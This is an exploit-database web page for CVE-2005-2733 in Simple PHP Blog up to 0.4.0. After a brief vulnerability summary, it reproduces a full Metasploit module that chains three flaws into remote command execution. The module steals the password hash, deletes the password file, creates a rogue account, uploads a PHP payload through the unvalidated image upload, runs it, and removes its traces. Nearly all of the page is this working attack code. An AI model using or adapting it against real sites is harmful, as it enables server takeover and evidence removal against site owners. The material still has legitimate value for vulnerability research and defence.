Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
Simple PHP Blog - exploit.company
header-logo
Suggest Exploit
vendor:
Simple PHP Blog
by:
Matteo Cantoni, patrick
7.5
CVSS
HIGH
Arbitrary File Upload
434
CWE
Product Name: Simple PHP Blog
Affected Version From: 0.0.0
Affected Version To: 0.4.0
Patch Exists: NO
Related CWE: CVE-2005-2733
CPE: a:simple_php_blog:simple_php_blog:0.4.0
Metasploit:
Other Scripts:
Platforms Tested: php
2005

Simple PHP Blog <= 0.4.0 Remote Command Execution

This module combines three separate issues within The Simple PHP Blog (<= 0.4.0) application to upload arbitrary data and thus execute a shell. The first vulnerability exposes the hash file (password.txt) to unauthenticated users. The second vulnerability lies within the image upload system provided to logged-in users; there is no image validation function in the blogger to prevent an authenticated user from uploading any file type. The third vulnerability occurs within the blog comment functionality, allowing arbitrary files to be deleted.

Mitigation:

Apply the latest patches and update to a version above 0.4.0.
Source

Exploit-DB raw data:

##
# $Id: sphpblog_file_upload.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Simple PHP Blog <= 0.4.0 Remote Command Execution',
			'Description'    => %q{
					This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
				application to upload arbitrary data and thus execute a shell. The first
				vulnerability exposes the hash file (password.txt) to unauthenticated users.
				The second vulnerability lies within the image upload system provided to
				logged-in users; there is no image validation function in the blogger to
				prevent an authenticated user from uploading any file type. The third
				vulnerability occurs within the blog comment functionality, allowing
				arbitrary files to be deleted.
			},
			'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9929 $',
			'References'     =>
				[
					['CVE', '2005-2733'],
					['OSVDB', '19012'],
					['BID', '14667'],
					['URL', 'http://www.milw0rm.com/exploits/1191'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 1024,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 25 2005',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]),
			], self.class)
	end

	def check
		res = send_request_raw({
			'uri'     => datastore['URI'] + '/index.php'
		}, 25)

		if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)

			ver = [ $1.to_i, $2.to_i, $3.to_i ]
			print_status("Simple PHP Blog #{ver.join('.')}")

			if (ver[0] == 0 and ver[1] < 5)
				if (ver[1] == 4 and ver[2] > 0)
					return Exploit::CheckCode::Safe
				end
				return Exploit::CheckCode::Vulnerable
			end
		end

		return Exploit::CheckCode::Safe
	end

	def retrieve_password_hash(file)

		res = send_request_raw({
			'uri'    => datastore['URI'] + file,
		}, 25)

		if (res and res.message == "OK" and res.body)
			print_status("Successfully retrieved hash: #{res.body}")
			return res.body
		else
			raise RuntimeError.new("Failed to retrieve hash, server may not be vulnerable.")
			return false
		end
	end

	def create_new_password(user, pass)

		res = send_request_cgi({
			'uri'     => datastore['URI'] + '/install03_cgi.php',
			'method'  => 'POST',
			'data'    => "user=#{user}&pass=#{pass}",
		}, 25)

		if (res)
			print_status("Successfully created temporary account.")
		else
			print_error("Unable to create a temporary account!")
		end
	end

	def retrieve_session(user, pass)

		res = send_request_cgi({
			'uri'     => datastore['URI'] + "/login_cgi.php",
			'method'  => 'POST',
			'data'    => "user=#{user}&pass=#{pass}",
		}, 25)

		if (res)
			print_status("Successfully logged in as #{user}:#{pass}")

			if (res.headers['Set-Cookie'] =~ /my_id=(.*)/)
				session = $1
				print_status("Successfully retrieved cookie: #{session}")
				return session
			else
				print_error("Error retrieving cookie!")
			end
		else
			print_error("No response received while logging in.")
		end
	end

	def upload_page(session, dir, newpage, contents)

		boundary = rand_text_alphanumeric(6)

		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"userfile\"; "
		data << "filename=\"#{newpage}\"\r\nContent-Type: text/plain\r\n\r\n"
		data << contents
		data << "\r\n--#{boundary}--"

		res = send_request_raw({
			'uri'	  => datastore['URI'] + "/upload_img_cgi.php",
			'method'  => 'POST',
			'data'    => data,
			'headers' =>
			{
				'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
				'Content-Length' => data.length,
				'Cookie'	 => "my_id=#{session}; PHPSESSID=#{session}",
			}
		}, 25)

		if (res)
			print_status("Successfully uploaded #{newpage}")
		else
			print_error("Error uploading #{newpage}")
		end
	end

	def reset_original_password(hash, scriptlocation)

		res = send_request_cgi({
			'uri'	 => datastore['URI'] + scriptlocation,
			'method' => 'POST',
			'data'	 => "hash=" + hash,
		}, 25)

		if (res)
			print_status("Successfully reset original password hash.")
		else
			print_error("Error resetting original password!")
		end
	end

	def delete_file(file)

		delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}"

		res = send_request_raw({
			'uri'	=> datastore['URI'] + delete_path,
		}, 25)

		if (res)
			print_status("Successfully removed #{file}")
		else
			print_error("Error removing #{file}!")
		end
	end

	def cmd_shell(cmdpath)
		print_status("Calling payload: #{cmdpath}")

		res = send_request_raw({
			'uri'	=> datastore['URI'] + cmdpath
		}, 25)

	end

	def exploit

		# Define the scripts to be uploaded to aid in exploitation
		cmd_php = '<?php ' + payload.encoded + '?>'

		reset_php = %Q|
		<?php $hash = $_POST['hash'];
		$fp = fopen("../config/password.txt","w");
		fwrite($fp,$hash);
		fpclose($fp);
		?>|

		# Generate some random strings
		cmdscript	= rand_text_alphanumeric(20) + '.php'
		resetscript	= rand_text_alphanumeric(20) + '.php'
		newuser 	= rand_text_alphanumeric(6)
		newpass 	= rand_text_alphanumeric(6)

		# Static files
		directory 	= '/images/'
		cmdpath 	= directory + cmdscript
		resetpath 	= directory + resetscript
		passwdfile 	= '/config/password.txt'

		# Let's do this thing
		hash = retrieve_password_hash(passwdfile)
		delete_file(passwdfile)
		create_new_password(newuser, newpass)
		session = retrieve_session(newuser, newpass)
		upload_page(session, directory, resetscript, reset_php)
		upload_page(session, directory, cmdscript, cmd_php)
		reset_original_password(hash, resetpath)
		delete_file(resetpath)
		cmd_shell(cmdpath)
		delete_file(cmdpath)
	end
end